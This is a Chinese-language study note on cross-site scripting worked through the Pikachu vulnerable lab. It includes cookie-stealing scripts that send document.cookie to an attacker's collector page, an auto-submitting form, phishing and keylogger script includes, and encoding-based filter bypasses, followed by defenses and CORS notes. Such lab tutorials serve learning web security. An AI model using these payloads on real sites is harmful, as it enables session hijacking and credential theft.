10.xss漏洞
xss漏洞
也就是有数据交互的位置(可以输入内容的地方)找漏洞
简介
XSS简介
XSS全称:跨站脚本(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS;攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码,导致管理员/用户访问时触发,从而达到攻击者的目的。
XSS原理
服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。
分类
XSS分类
反射型(非持久型)
个人理解,无数据库交互,输入框中的js代码在前端作为页面显示时,被解析,导致漏洞
反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。
存储型(持久型)
输入的js代码被存入数据库,被解析,导致所有访问的用户受到漏洞影响
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。
DOM型(非持久型)
js代码控制dom操作
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。
危害
XSS漏洞的危害
1.窃取用户Cookie
2.后台增删改文章
3.XSS钓鱼攻击
4.利用XSS漏洞进行传播和修改网页代码
5.XSS蠕虫攻击
6.网站重定向
7.获取键盘记录
8.获取用户信息等
实例
反射型xss(get)
这里没有与后端交互 仅前端
页面部分代码
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
<script>alert(xss)</script>

输入的message参数 本来是显示在页面 然而 输入一些代码被解析 达到效果

存储型
攻击者输入 → 后端接收 → 存入数据库 → 后端查询未转义 → js编码器执行
$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>数据库出现异常,提交失败!</p>";
}
}
<script>alert(1)</script>

dom型(xss)

如图,输入框的内容可以对前端代码进行dom操作 这里闭合一下
让herf与onclick属性绑定 达到点击弹窗的效果
'onclick=alert(1)>


dom型(xss-x)(同上)
'onclick=alert(1)>


存储型xss盗取cookie过程
在攻击目标网站利用存储型xss漏洞注入获取cookie并发送的恶意代码,这段代码就存储进入数据库,用户访问该页面时,恶意代码执行,cookie就被盗取了

<script>document.location="http://192.168.152.129/pikachu-master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>
解释下http://192.168.152.129/pikachu-master/pkxss/xcookie/cookie.php这是黑客提取cookie的页面,代码做的事情是向这个页面发送一个带有用户cookie的参数

这里可以看到 cookie.php黑客用于获取cookie的页面做了一个重定向,跳转到用户首页,在用户看来浏览器页面就像卡了一下,跳转到首页。
http://192.168.152.129/pikachu-master/pkxss/xcookie/pkxss_cookie_result.php
#黑客展示获取到的cookie的页面

反射型(post)xss盗取cookie过程
对于post请求的xss 用户浏览器保存cookie的情况下 需要让用户访问设计好的页面,部分代码如下
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://10.144.43.200/pikachu-master/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.152.129/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
这段代码实现了自动点击页面提交按钮,把cookie传走

拿到cookie 实现登录
存储性xss钓鱼账号密码
注意 查看phpinfo.php中信息 server api中为cgi/fastcgi无法接收
参考这篇文章(非常感谢原作者!!)
https://geekdaxue.co/read/naraku@blog/pikachu-php-basic


<script src="http://192.168.152.129/pikachu-master/pkxss/xfish/fish.php"></script>
fish.php 中Location:后 ip+路径(接收username+password参数的页面xfish.php)
加单引号
['PHP_AUTH_USER'] ['PHP_AUTH_PW'] ==> ['PHP_AUTH_USER'] ['PHP_AUTH_PW']
header("Location: http://10.147.51.200/pikachu-master/pkxss/xfish/xfish.php?username={$_SERVER['PHP_AUTH_USER']}&password={$_SERVER['PHP_AUTH_PW']}");
}
xfish.php 插入语句没有into 要加上
$query="insert into fish(time,username,password,referer)
values('$time','$username','$password','$referer')";

上述攻击代码存入数据库后,访问页面就会执行,有弹窗,用户输入密码账户

存储型xss获取键盘记录
<script src="http://192.168.152.129/pikachu-master/pkxss/rkeypress/rk.js"></script>
对应目录下的 rk.js中代码有个url改为自己ip+路径



xss盲打
我们输入的攻击代码 在后台管理员登录时触发
<script>alert(111)</script>


前端绕过
前端会对输入的内容校验,我们可以在浏览器中按f12修改代码(如输入字数限制)绕过或者抓包修改请求包
xss href绕过(js伪协议)
js伪协议)
前面的引号如何都闭合不了

标签的 href 属性用于指定超链接目标的 URL:
href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表
也就是说 js代码可以生效
javascript:alert(1)

xss js绕过

将标签分别闭合就好
</script><script>alert(123)</script>
后端绕过
绕过方法:
1 大小写混写
2 双写
3 更换标签
4 编码
防止后端正则匹配过滤,可以采用大小写混合,双写 更换标签 编码(xss最终在浏览器执行,sql注入代码在服务端执行,编码方式不同)的方法绕过
xss大小混写绕过
后端代码
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
匹配以 < 开头,且包含 s→c→r→i→p→t 字符序列的任意字符组合,然后替换为空:
<:匹配左尖括号;
<ScRiPt>alert(1)</ScRiPt>

xss htmlspecialchars()绕过
php语言中的htmlspecialchars()函数(默认对双引号编码 单引号不编码 需要加参数) 会将特殊符号进行html实体编码 注入的代码中双引号会失效
HTML 实体编码:
在 HTML 中,某些字符是预留的,不能直接使用。例如,小于号(<)和大于号(>)会被浏览器误认为是标签。因此,我们需要使用字符实体来表示这些预留字符。
以下是一些常见的 HTML 字符实体及其表示方式:
< 小于号 <
> 大于号 >
& 和号 &
" 引号 "
htmlspecialchars() 使用
htmlspecialchars(string,flags,character-set,double_encode)
第二个参数flags可选。规定如何处理引号、无效的编码以及使用哪种文档类型。可用的引号类型:
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号
htmlspecialchars() 实例
<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
echo "<br>";
$str = "Jane & 'Tarzan'";
echo htmlspecialchars($str, ENT_COMPAT); // 默认,仅编码双引号
echo "<br>";
echo htmlspecialchars($str, ENT_QUOTES); // 编码双引号和单引号
echo "<br>";
echo htmlspecialchars($str, ENT_NOQUOTES); // 不编码任何引号
?>
输入的代码中特殊符号被编码了

'onclick='alert(1)'

xss编码绕过
浏览器解析顺序:url解析器,html解析器,css解析器,js解析器
html实体编码
将特殊字符转换为 &#+十进制ASCII码;(如 ( → ()或实体名(如 " → "),浏览器解析 HTML 标签 / 属性时,会还原 HTML 实体编码;常用于「属性内特殊字符」或「页面正文输出」场景
能够解析场景:
1.浏览器仅在「解析 HTML 标签 / 属性的值」时还原 HTML 实体
(如<a href="这里">)
<a href="javascript:alert(1)">
2.若编码内容被输出到页面正文(而非href),需先闭合原有标签,让实体编码被解析为 JS
<div>其他内容div:onclick=javascript:alert(1)</div>
url编码
将字符转换为 %+16进制ASCII码 格式(如 ( → %28、s → %73),浏览器在解析 href/src 等属性、或处理 URL 时,会自动解码 URL 编码内容,而多数简单过滤规则仅匹配「明文关键词」,不会解码后校验
能够解析场景:
1:嵌入<a href="">属性内
<a href="%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%31%29">点击弹窗</a>
2:二次 URL 编码绕过多层过滤(靶场仅解码一次)
若靶场做了「一次 URL 解码 + 过滤」,可对全编码结果再编码一次
<a href="%256A%2561%2576%2561%2573%2563%2572%2569%2570%2574%253A%2561%256C%2565%2572%2574%2528%2531%2529">点击弹窗</a>
js编码(unicode编码)
将字符转换为 \u+4位十六进制Unicode码(如 s → \u0073、a → \u0061),JavaScript 引擎和现代浏览器会自动解析 Unicode 转义字符;常用于「绕过关键词正则匹配」,尤其是对大小写不敏感的过滤
unicode编码有&#(十进制),&#x(十六进制),/u(十六进制)三种开头
能够解析场景:
1.嵌入<a href="">+JS 解析(需触发 JS 引擎)
<a href="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029">点击弹窗</a>
2.嵌入 JS 代码块(靶场拦截明文 JS)
若输入被输出到<script>标签内,Unicode 编码可绕过过滤
<script>
\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029
</script>
javascript:alert('nihao')
#编码内容不能解析
javascript:alert('%e4%bd%a0%e5%a5%bd') #可以解析
javascript:alert('\u0068\u0065\u006c\u006c\u006f')
#可以解析
页面提交的内容如果通过document.write()写到页面上 我们输入unicode过的payload是可以执行的
示例如下
为编码前:<img src=# onerror="alert('hello')" />
<!DOC TYPE html>
<html>
<script>
document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0023\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0022\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0068\u0065\u006c\u006c\u006f\u0027\u0029\u0022\u0020\u002f\u003e');
</script>
</html>

xss httponly绕过
HttpOnly Cookie 是一种在 Set-Cookie 响应头中添加 HttpOnly 标志的特殊 Cookie,用于防止客户端脚本(如 JavaScript)通过 document.cookie 读取敏感信息,从而有效防御 XSS 会话劫持。
核心机制 当浏览器接收到带有 HttpOnly 标志的 Cookie 时,会将其存储在受保护的区域,前端脚本无法访问。即使页面存在 XSS 漏洞,攻击者也无法直接窃取会话 ID 等敏感数据


将httponly设为true时,document.cookie不能获取到cookie
表单劫持
表单劫持(Formjacking)是一种隐蔽且具有威胁性的网络攻击方式,攻击者通过在网页表单中注入恶意脚本,窃取用户提交的敏感信息。随着互联网应用场景的多样化,用户经常通过表单向服务端提交诸如登录凭证、信用卡号等敏感数据。攻击者正是利用这一点,将恶意代码注入合法表单中,在用户提交数据时同时将信息发送到攻击者的服务器。
获取存储在浏览器中的账户密码
有许多的博客可以参考一下

xss防范
输入进行过滤 单引号 双引号 尖角符
输出进行编码
特别时输出位置 如果输出给js代码 经过编码后也可以执行 href标签的话可以用js伪协议执行
同源和跨域
协议相同 http vs https ❌ 不同源
域名相同 a.example.com vs b.example.com ❌ 不同源
端口相同 example.com:80 vs example.com:8080 ❌ 不同源
客户端向服务器发送请求的时候,如果协议,域名(IP)和端口都一样,则称为同源,但凡有一个不一样则跨域,跨域请求默认受到浏览器的安全策略的限制,浏览器会给出相应的错误信息,对于客户端而言意味着请求失败
有哪些是不受同源策略限制
页面上的链接,比如 a 链接。
重定向。
表单提交。
跨域资源的引入,比如:script, img, link, iframe。
跨域(Cross-Origin)指的是 浏览器从一个域名的网页,向另一个不同域名、端口或协议的服务器发起请求 的行为。
如何解决跨域?
浏览器限制跨域是为了安全,但合理的跨域需求(比如前后端分离项目、CDN 资源加载)需要被支持,因此有多种标准化的解决方案:
1. CORS(Cross-Origin Resource Sharing,跨域资源共享)—— 最常用
核心是 服务器端配置,允许指定域名的跨域请求。原理是:
浏览器发起跨域 AJAX 请求时,会先发送一个「预检请求(OPTIONS 请求)」,询问服务器是否允许当前域名跨域;
服务器返回响应头(如 Access-Control-Allow-Origin: http://localhost:3000 ),告知浏览器允许该域名跨域;
浏览器确认后,再发送真实的请求(GET/POST 等)。
关键响应头(服务器配置):
Access-Control-Allow-Origin:允许跨域的域名(必填,可设为 * 表示允许所有域名,但不允许携带 Cookie);
Access-Control-Allow-Methods:允许的请求方法(GET/POST/PUT/DELETE 等);
Access-Control-Allow-Credentials:是否允许携带 Cookie(设为 true 时,Access-Control-Allow-Origin 不能为 *,需指定具体域名);
Access-Control-Allow-Headers:允许的自定义请求头(比如 Token、Content-Type 等)。
2. JSONP —— 兼容老浏览器(已逐渐淘汰)
利用 <script> 标签允许跨域加载脚本的特性,实现跨域数据传递:
前端定义一个回调函数(如 handleData(data));
前端通过 <script src="http://api.example.com/data?callback=handleData"> 跨域请求;
服务器返回 handleData({"name": "xxx"}),浏览器加载脚本后自动执行回调函数,传递数据。
缺点:仅支持 GET 请求,存在安全风险(若服务器返回恶意脚本,会被执行)。
3. 代理服务器(前端常用规避方案)
由于同源策略仅限制浏览器,不限制服务器之间的请求,因此可通过「代理服务器」转发请求:
前端向 同源的代理服务器 发起请求(比如 http://localhost:3000/api/data );
代理服务器向后端跨域 API(比如 http://localhost:8080/data )发起请求,获取数据;
代理服务器将数据返回给前端,实现跨域通信。



浙公网安备 33010602011771号